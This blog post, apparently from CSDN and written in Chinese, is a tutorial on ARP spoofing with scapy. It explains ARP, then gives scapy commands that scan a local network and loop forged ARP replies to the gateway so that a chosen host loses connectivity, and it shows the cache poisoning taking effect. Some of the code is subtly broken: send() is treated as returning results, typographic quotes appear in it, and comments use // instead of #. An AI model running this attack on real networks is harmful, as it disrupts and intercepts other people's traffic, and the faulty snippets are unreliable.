ARP协议及局域网断网攻击(scapy)

ARP协议攻击
地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。

ARP报文结构:
在这里插入图片描述
下图是使用wireshark抓取的ARP报文,可以看到和上面的报文结构一一对应。在这里插入图片描述在这里插入图片描述上面分别是ARP请求报文和应答报文。需要注意到的是请求报文的Opcode=1,而应答报文的Opcode=2。这点在我们伪造ARP报文是需要用到的。

ARP攻击
1.扫描局域网内主机IP地址与MAC地址的对应关系:
(1)直接构造请求报文:

pkt=Ether(dst=”ff:ff:ff:ff:ff:ff”)/ARP(pdst=”192.168.1.1/24”)  //24为子网掩码
a,b=send(pkt)
a.show()  

(2)使用scapy内置的arping()函数直接扫描。

arping("192.168.1.1/24")

在这里插入图片描述

构造欺骗报文

pkt=ARP(psrc="192.168.1.100" ,pdst="192.168.1.1",op=2)
srloop(pkt)    //循环发送pkt数据包

psrc地址是我们要欺骗的地址,pdst是ARP数据包的目的地址,也就是网关地址。
通过循环发送这个数据包给网关,让网关相信“192.168.1.100”对应的MAC地址是本机的MAC地址,即把要发送给“192.168.1.100”的数据包发送给我们这台主机。而真正的“192.168.1.100” 收不到数据包,就相当于断网了。

查看本机ARP缓存表,在cmd命令行中输入arp -a 即可。
arp毒化前的:
在这里插入图片描述
arp毒化后:
在这里插入图片描述
我们可以看到“192.168.1.100”对应的mac地址发生了变化。
毒化后其mac地址变成了本机的地址,说明毒化成功。

注意: arp协议是工作在局域网内的,对外网不起作用;

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值